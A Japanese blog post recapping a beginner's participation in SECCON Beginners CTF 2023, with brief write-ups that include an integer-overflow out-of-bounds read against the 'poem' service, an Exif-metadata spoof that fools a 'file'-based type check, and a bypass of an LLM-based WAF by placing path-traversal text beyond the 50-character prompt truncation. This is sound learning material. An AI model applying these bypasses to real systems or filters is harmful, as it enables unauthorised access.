SECCON Beginners CTF 2023 で CTF デビューしたので感想を書く
ISUCON や AWS GameDay などの競技イベントについて語る趣味チャンネルが会社の Slack にあるんですが、開催前々日に会社の同僚氏から "SECCON Beginners CTF 2023" の存在を教えてもらい、そのままノリで出てみることにしました。
競技用ポータル: https://score.beginners.seccon.jp/
前々から興味はあったので、予定も空いてるならやってみるかと当日の開催時間が来てから踏ん切りがついて Signup して競技参加してみました。
特に準備らしきことができなかったので丸腰で挑んでみました。
概要
競技日程
2023/06/03(土) 14:00 JST - 2023/06/04(日) 14:00 JST
競技形式
Jeopardy形式
1人で出場しました。都合の合う同僚がいるなら一緒に出てみるかーと思い社内でお誘い文書いてみたのですが、開催2日前ということでさすがに集まらず。
競技してた時間はだいたい 12h かもうちょい多め、ってところだと思います。集中してない時間帯もそこそこありました。
結果
447 点, 200/767 位くらいで着地しました。
解けた問題の内訳です
- crypto
- CoughingFox2
- pwnable
- poem
- misc
- polyglot4b
- web
- aiwaf
- reversing
- Half
- Three
何していたか
書ける範囲で Private Gist にメモってました。未整理のログはここに書いてあります。
全編通して ChatGPT にかなり頼りました。検索等しようにもそのきっかけとなるようなワードを知らないわけで、そのへんの補助をお願いしたり。あるいは、ぱっと見で意味が理解できない C のソースや逆アセンブルしたコードスニペットの解説をお願いしていました。ChatGPT がないと辛かったと言えるくらいには活用してました。
最初の30分くらいでコミュニーケーション方法とかサインアップとかルール確認をしてましたが、そもそも↓の記述がぱっと理解できません。
フラグのフォーマットは ctf4b{[\x20-\x7e]+} です。
競技開始の前に躓いています。早速 ChatGPT さんに質問して「はいはい印字可能文字ね」と理解して welcome から取り掛かりました
ぼんやり「ジャンルは一通り回りたいな」と思っていたので、そのつもりで着手順を見ていきました。まあ、そもそも medium は無理だろうし easy も怪しいと思っていたので自然にそうなったわけですが。
着手した順番はだいたい以下のような感じです。
- Welcome
- Half
- Forbidden (断念)
- Three
- CoughingFox2
- poem
- YARO (断念)
- polyglot4b
- aiwaf
- rewriter2 (断念)
Forbidden はブロック用のミドルウェアをすり抜けながら目的のパスにアクセスする方法が 1h 以上調べても見当つかなかったので断念。
YARO は走査対象に flag
的なファイルがいたので、多分ここに対して中身がわかるように検出ルール書けばいいんだろう、という理解をしていました。が、実際にマッチした文字列を(サーバーサイドの Python を変更しないで)出力してもらうためのやり方がどうにも分からなかったので断念。
rewriter2 は2日目の 10:30 くらいからずっとやってましたが結局ほぼ前提知識のお勉強で終わりました。Stack canary を回避しながら戻りアドレスを win() で上書きするようにバイト列の入力を食わせたらいいんじゃない?というアプローチを想定しました。最後の 40 分くらいで canary の変更は無視して win() のアドレスが目的の場所に入るようにバイナリ生成して nc に流し込むようなものを実験してみましたが、プログラムの制御が戻ってこない状況に遭遇してそこでなんやかんや見てたらタイムアップとなりました。
writeup 的なもの
welcome
Discord 検索して終了。
Half
strings コマンドでバイナリを眺めてみると ctf4b
の文字列を発見することができます。プログラム上では定数として定義されてるっぽいですね。それっぽいテキストを拾って繋げればOKです
この問題は最初バイナリを実行しようとしてその実行環境の調達に地味に時間を食いました。手元の Docker で ubuntu 立てればいいかなーとも思ったんですが意図したような感じにはならず。結局 Ubuntu の EC2 立てました。以降の問題でも、必要に応じて Ubuntu 上で作業してました。最初に立てておけばよかったかもしれません。
Three
strings ではそれっぽいデータが見つかりません。ChatGPT さんに聞いてみたところいくつかバイナリ解析のツールを教えてくれました。その中の radare2 というのを使ってみることにしました。
radare2 binary-file
is でシンボルを眺めてみると "flag" という名前の入った変数がいくつかあることに気づきます。
実行コマンドの結果は以下のリンクで。
flag に関係しそうなのはこのへん。
nth paddr vaddr bind type size lib name demangled
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
50 0x000020c0 0x5580b29790c0 GLOBAL OBJ 64 flag_2
51 0x000011a9 0x5580b29781a9 GLOBAL FUNC 376 validate_flag
52 0x00002020 0x5580b2979020 GLOBAL OBJ 68 flag_0
65 0x00002080 0x5580b2979080 GLOBAL OBJ 64 flag_1
これで flag_0, flag_1, flag_2 のアドレスとそのサイズが分かりました。
それぞれについて pc コマンドでデータを取り出してみます。s でシークして pc で出力します
> s <addr>
> pc <size>
ここで抽出できたバイト列を Python に食わせて文字列に直します。一例は以下のような感じ。
>>> print(''.join(list(map(chr, x))))
f{n0ae0n_e4ept13
とはいえ、3つある変数をどう組み合わせるのがか不明なので、objdump で validate_flag() の処理内容を逆アセンブルして ChatGPT に解説させてみました。
flag_0 -> flag_1 -> flag_2 の順番で1文字ずつ拾っていけば良さそう、というのが分かりました。
実際に文字列に直した flag を並べてみると上記の理屈で通っていそうな字面になっています。
c4c_ub__dt_r_1_4}
tb4y_1tu04tesifg
f{n0ae0n_e4ept13
あとはこのフラグ構築ロジックを再現するコードを Python で記述してあげればOKです。
CoughingFox2
逆変換を考える問題ですね。
暗号化前の系列を
ある
- xのサイズを上限とする非負整数
を減算 (j )0 <= j <= len(y) - 平方根をとる
とすれば、ひとまずは
このとき
この時点で得られた変換途中の系列を
よって、
となります。
ここで問題の前提に立ち返ると、フラグは cft4b
では始まる文字列であることがわかっています。
よって、
最後の最後でこの CTF のレギュレーションを思い出す必要がある、というのがミソですね。所与の条件がなんなのか、ということを考えるのは問題を解くうえでは必須でしょうが、それまでの「ロジック」の頭とは少し違う角度での発想が必要になる、というのが面白いと感じました。個人的には、解けた問題の中でこれが一番問題としての味があって好きです。
poem
本来範囲外であろう部分にアクセスする、ということは想像ができたので、poem
と flag
がどういう配置をされているのか radare2 で確認。
66 ---------- 0x00004068 GLOBAL NOTYPE 0 __bss_start
67 0x000011e9 0x000011e9 GLOBAL FUNC 135 main
69 0x00003040 0x00004040 GLOBAL OBJ 40 poem
71 ---------- 0x00004068 GLOBAL OBJ 0 __TMC_END__
73 0x00003020 0x00004020 GLOBAL OBJ 8 flag
poem が 40byte で、その手前にある 8byte にアクセスできればよさそう。
添字的には n=5 になるので素直にやると if 文に弾かれる。なので、 int n
で表現しきれない上限の数字に +5 した値を入れてあげれば制約を回避できるのでは?と考えて試しました
>>> 2 ** 32
4294967296
nc poem.beginners.seccon.games 9000
Number[0-4]: 4294967296
// In the depths of silence, the universe speaks.
0番目が出力されたので、4294967296 - 4 を入力に渡せば poem の領域より手前の 8byte = flag が取れそうです
nc poem.beginners.seccon.games 9000
Number[0-4]: 4294967292
// ctf4b{xxxxxxxxxx}
polyglot4b
コードを見てみると file コマンドの結果を見ている様子。
file コマンドの実行結果として JPEG/PNG/GIF/ASCII のすべてを満たせるような「ファイルタイプ」の認識結果は出せないだろうなと予想して ChatGPT にも参考までに聞いてみたものの同様の回答でした。ファイルフォーマットの辻褄が合うようなデータ生成を目指すような問題ではなさそうだとここで切り捨てました
実際に file コマンドを実行してみると以下のような出力に。
$ file -bkr sample/sushi.jpg
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=CTF4B], baseline, precision 8, 1404x790, components 3 - data
ここで、 "description" といういかにも自由記述できそうなフィールドがあることに気づきました。ソースに戻って、判定ロジックはこのコマンドの結果から文字列を単純検索して判定をしているだけなので、このフィールドを利用して "JPEG" "PNG" "GIF" "ASCII" が全て含まれるようなテキストを仕込めばよさそうだなと考えました。
この description は Exif と呼ばれるメタデータのタグ仕様であるらしく、 Exiftools
というツールで書き換えができるようです。Python にも Pillow というライブラリがありますが、今回は exiftools を利用しました。
今回の目的に沿うようなコマンドは以下の通り。
$ exiftool -ImageDescription="JPEG PNG GIF ASCII" out.jpg
1 image files updated
$ file -bkr out.jpg
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=JPEG PNG GIF ASCII], baseline, precision 8, 1404x790, components 3
- data
これを nc で渡してあげればフラグが得られます
$ cat out.jpg | nc polyglot4b.beginners.seccon.games 31416
aiwaf
OpenAI のプロンプトハックに一瞬目を奪われました。が、よくよく見るとプロンプトに渡している文字列が 50 文字で切れているのがわかります
prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。
{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
なので、プロンプトに含まれない範囲でトラバーサル用のテキストを仕込めば AI WAF を回避できそうです。
「流行りモノに目を奪われるかもしれないけど、見るべきはそこじゃないんだよな〜」という作問者の意図ですね。
10分くらいはしっかり騙されてしまったので笑いました。
感想
思ったよりは解けたので楽しかったです。0問だったら「楽しかった」で終われたかどうかちょっと自信ないので、ビギナー向けの今回がデビュー戦でよかったなと思いました。
(仮にできなかったとしても、それはそれで現在地の確認という意味で大変有意義ではあるのですが)
一番悔しかったのは Forbidden が解けなかったことでした。Web アプリ自体は(さほど開発には携わらないものの)身近な存在なので、そのカテゴリの Beginner が解けないという現状は大変しんどみありました。他の方の writeup 見て勉強させていただこうと思います。
解いてみた印象としては、Reversing や Pwnable カテゴリの問題が個人的には好みでした。もうちょっとローレイヤーの理解深めて理屈から理解できるようになりたいです。
このへんの領域、書籍をほんのりつまみ食いしててわずかに予備知識はあったんですが、まあ CTF の実戦に出るには装備が弱すぎました。radare2 のような CTF 御用達のツールの使い方など、解法の当たりつけてからの調査・実装の方法がわからず苦労する場面もありましたが、それよりは原理原則の理解が曖昧だったことや、関連してなにをどう調べる・考えるのかの方向性で詰まった感覚がありました。引き出しのなさですね。
ビギナー向けがあればまた出てみたいです。対ありでした。
Discussion